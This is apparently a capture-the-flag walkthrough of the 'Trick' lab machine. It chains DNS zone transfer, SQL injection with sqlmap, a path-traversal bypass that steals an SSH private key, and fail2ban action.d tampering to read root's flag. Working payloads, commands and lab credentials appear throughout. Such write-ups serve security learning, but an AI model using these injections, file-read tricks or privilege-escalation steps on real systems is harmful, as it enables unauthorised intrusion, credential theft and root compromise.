Nmap finds SSH, SMTP, DNS, and HTTP (Nginx). We use dig to perform a reverse DNS lookup on the ip address of the box, which tells us that the box's domain name is trick.htb. Then, we use dig again to get the zone transfers for trick.htb, which shows us the preprod-payroll virtual host. This vhost has a login form, which we find is vulnerable to a basic SQL injection. Then, we use sqlmap to exploit this vulnerability and dump the database. The credentials we find in the database are not useful, but we can use sqlmap to read files on the box.
We read the nginx configuration file and discover the preprod-marketing vhost. We fuzz this new vhost a little, but we do not find anything. So, using the SQLi from preprod-payroll, we get the source code for preprod-marketing and discover a LFI exploit. Since preprod-marketing is running as the michael user, we are able to get their SSH private key. This gives us the user.txt flag.
Now that we are on the machine, we run LinPEAS and discover that we can run /etc/init.d/fail2ban restart as root and that we can write to the directory /etc/fail2ban/action.d. This article explains the exploit. Basically, we can overwrite the default ban action since we can write to the fail2ban action.d folder. We restart fail2ban so our new configuration change becomes active. Then, we spam SSH with invalid logins to trigger a band, thus running our custom command, which will write the root.txt flag to a file we can read.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.166.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have SSH, SMTP, DNS, and HTTP (Nginx).
Website (Port 80)
We try bruteforcing directories by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.166/FUZZ, which finds nothing.
DNS
We can perform a reverse DNS lookup of the IP address of the box by running dig -x 10.10.11.166 @10.10.11.166:
; <<>> DiG 9.18.4-2-Debian <<>> -x 10.10.11.166 @10.10.11.166
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21082
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3ac7f0627261ff6a064d4d6562ed8eb780f90544ccebc2ae (good)
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 44 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Fri Aug 05 17:42:14 EDT 2022
;; MSG SIZE rcvd: 163
This tells us that the box's domain name is trick.htb. Let's add that domain to /etc/hosts: echo "10.10.11.166 trick.htb" | sudo tee -a /etc/hosts.
The second item on the HackTricks page for DNS is about "Zone Transfers." You can learn more from this article. We run dig axfr trick.htb @trick.htb to get the zone transfers for trick.htb:
; <<>> DiG 9.18.4-2-Debian <<>> axfr trick.htb @trick.htb
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.11.166#53(trick.htb) (TCP)
;; WHEN: Fri Aug 05 17:44:53 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
This gives us a new subdomain: preprod-payroll.trick.htb. Let's add it to /etc/hosts: echo "10.10.11.166 preprod-payroll.trick.htb" | sudo tee -a /etc/hosts.
Virtual Host Scanning
Let's scan for other virtual hosts to be safe. We can do this by running ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: FUZZ.trick.htb" -fs 5480. This finds nothing, but since we know one of the subdomains starts with preprod-, we can try bruteforcing only the part after preprod- by running sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: preprod-FUZZ.trick.htb" -fs 5480:
Let's add the new preprod-marketing subdomain to /etc/hosts: echo "10.10.11.166 preprod-marketing.trick.htb" | sudo tee -a /etc/hosts.
preprod-payroll Virtual Host
We have a login form:
After trying the standard basic SQL injections, we find that using ' or 1=1 -- as the username and anything as the password works!
The login form makes a post request to http://preprod-payroll.trick.htb/ajax.php?action=login. If we simply make a GET request by visiting that page, we get:
Notice: Undefined variable: username in /var/www/payroll/admin_class.php on line 20
Notice: Undefined variable: password in /var/www/payroll/admin_class.php on line 20
3
So, we now know the path of a file, which is helpful if we get a LFI exploit or something similar.
Since we know we have a SQL injection, we can use sqlmap to automate dumping the database. You can learn about sqlmap's command in its usage documentation.
$ sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:01:17 /2022-08-05/
[18:01:17] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[18:01:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=os8fgd0vrab...lpgtvefjog'). Do you want to use those [Y/n] Y
[18:01:17] [INFO] testing if the target URL content is stable
[18:01:18] [INFO] target URL content is stable
[18:01:18] [INFO] testing if POST parameter 'username' is dynamic
[18:01:18] [WARNING] POST parameter 'username' does not appear to be dynamic
[18:01:18] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[18:01:18] [INFO] testing for SQL injection on POST parameter 'username'
[18:01:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:01:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[18:01:21] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="21")
[18:01:21] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[18:01:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:01:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[18:01:22] [INFO] testing 'Generic inline queries'
[18:01:22] [INFO] testing 'MySQL inline queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:01:32] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:01:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:01:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:01:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:01:33] [INFO] target URL appears to have 8 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:36] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:01:36] [INFO] target URL appears to be UNION injectable with 8 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:39] [INFO] testing 'Generic UNION query (98) - 21 to 40 columns'
[18:01:40] [INFO] testing 'Generic UNION query (98) - 41 to 60 columns'
[18:01:40] [INFO] testing 'MySQL UNION query (98) - 1 to 20 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 21 to 40 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 41 to 60 columns'
[18:01:44] [INFO] testing 'MySQL UNION query (98) - 61 to 80 columns'
[18:01:45] [INFO] testing 'MySQL UNION query (98) - 81 to 100 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 416 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=a,password=a' AND 9182=(SELECT (CASE WHEN (9182=9182) THEN 9182 ELSE (SELECT 2526 UNION SELECT 2437) END))-- TwHM
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=a,password=a' OR (SELECT 9149 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(9149=9149,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aDCf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=a,password=a' AND (SELECT 6496 FROM (SELECT(SLEEP(5)))nbBO)-- qqYe
---
[18:01:46] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:01:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
This identifies a few exploits, which we can now use to explore the database. If we append --dbs to the above command we will get the list of databases:
[*] information_schema
[*] payroll_db
Then, we can dump the tables from payroll_db by running sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db --tables:
This gives us a set of credentials: Enemigosss:SuperGucciRainbowCake. Trying to use them to SSH onto the machine doesn't work.
We can try reading files with sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /etc/passwd, which works:
So, the michael user is probably our way onto the box. Attempting to read /home/michael/.ssh/id_rsa fails though, so this site is probably not running as the michael user.
Since we can read files, we also could have learned about the other subdomain by reading /etc/nginx/sites-available/default:
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
Let's try to read the source code of the preprod-payroll virtual host. From the error message we got before, we know /var/www/payroll/admin_class.php is a file, so we'll get that to start. We get a somewhat large file, but it has the line include 'db_connect.php'; at the top. So, we get /var/www/payroll/db_connect.php:
<?php$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
We get the credentials for the mysql server: remo:TrulyImpossiblePasswordLmao123.
Neither SuperGucciRainbowCake nor TrulyImpossiblePasswordLmao123 works as the ssh password for the michael user does not work.
preprod-marketing Virtual Host
We scan for other pages using ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://preprod-marketing.trick.htb/index.php\?page\=FUZZ.html -fs 0:
This doesn't find anything that isn't already linked to by the main page.
Foothold
Let's try to get the source code of the site by looking in the /var/www/market directory. Running sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /var/www/market/index.php gets use the index.php file for the preprod-marketing vhost:
We have a call to include that we can control via the page GET parameter. All ../ are removed, but this is only done once, so we can bypass it by using ....// instead of ../ since removing ../ from ....// results in ../. Sure enough, visiting http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd gives us the contents of /etc/passwd. We can check which user we are running as by getting http://preprod-marketing.trick.htb/index.php?page=....//....//....//proc/self/status:
ID 1001 is michael (from /etc/passwd), so we should be able to get his SSH private key by running curl http://preprod-marketing.trick.htb/index.php\?page\=....//....//....//home/michael/.ssh/id_rsa > id_rsa.
Now, we can SSH to the box as michael by running ssh michael@trick.htb -i id_rsa and then get the user.txt flag with cat ~/user.txt.
Privilege Escalation
We upload LinPEAS by running upload linpeas.sh in the local pwncat shell. Run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report.txt with less -R linpeas_report.txt.
We see this in the output:
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
So, we can run the command /etc/init.d/fail2ban restart as root.
Searching for "fail2ban" in the LinPEAS output also shows this:
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group security:
/etc/fail2ban/action.d
(remote) michael@trick:/tmp$ ls -la /etc/fail2ban/action.d
total 288
drwxrwx--- 2 root security 4096 Aug 6 01:50 .
So, we can write to /etc/fail2ban/action.d. Searching for "fail2ban privilege escalation" finds Abusing Fail2ban misconfiguration to escalate privileges on Linux, which explains the exploit we are about to perform. However, the exploit is not that complicated and can be figured out without the guide.
We can view the enabled fail2ban jails with cat /etc/fail2ban/jail.conf | grep "enabled = true" -B 1, which will show us nothing. But jails can also be configured in /etc/fail2ban/jail.d/. Checking that directory we find a file called defaults-debian.conf that enabled the sshd jail.
In the /etc/fail2ban/jail.conf file we see the default ban action:
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
iptables-multiport is a file in /etc/fail2ban/action.d/, which means we can edit it:
ls -la /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Aug 6 02:03 /etc/fail2ban/action.d/iptables-multiport.conf
We do not have permissions over this file, but since we have write permissions on the directory we can copy the file to /tmp with cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp, edit it, and then copy it back with rm /etc/fail2ban/action.d/iptables-multiport.conf && cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/.
For the iptables-multiport.conf file, we change the line that reads actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> to actionban = cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt && sleep 30 && rm /tmp/root.txt.
Then, restart fail2ban with sudo /etc/init.d/fail2ban restart so our configuration change takes effect. Then, ssh and use an incorrect password multiple times. This should create a file /tmp/root.txt with the root flag! Note: We easily could replace the ban command with a reverse shell to get a root shell. The copy, fail2ban restart, failed ssh attempts, and getting the root flag all need to be done very quickly because the fail2ban configuation is reset quite often so you need to hit the number of failed SSH attempts before that happens. Tip: Run watch ls -la /tmp to see when the /tmp/root.txt file is created. Another Tip: Instead of manually getting fail2ban to ban you, use hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://trick.htb to spam a lot of login attempts.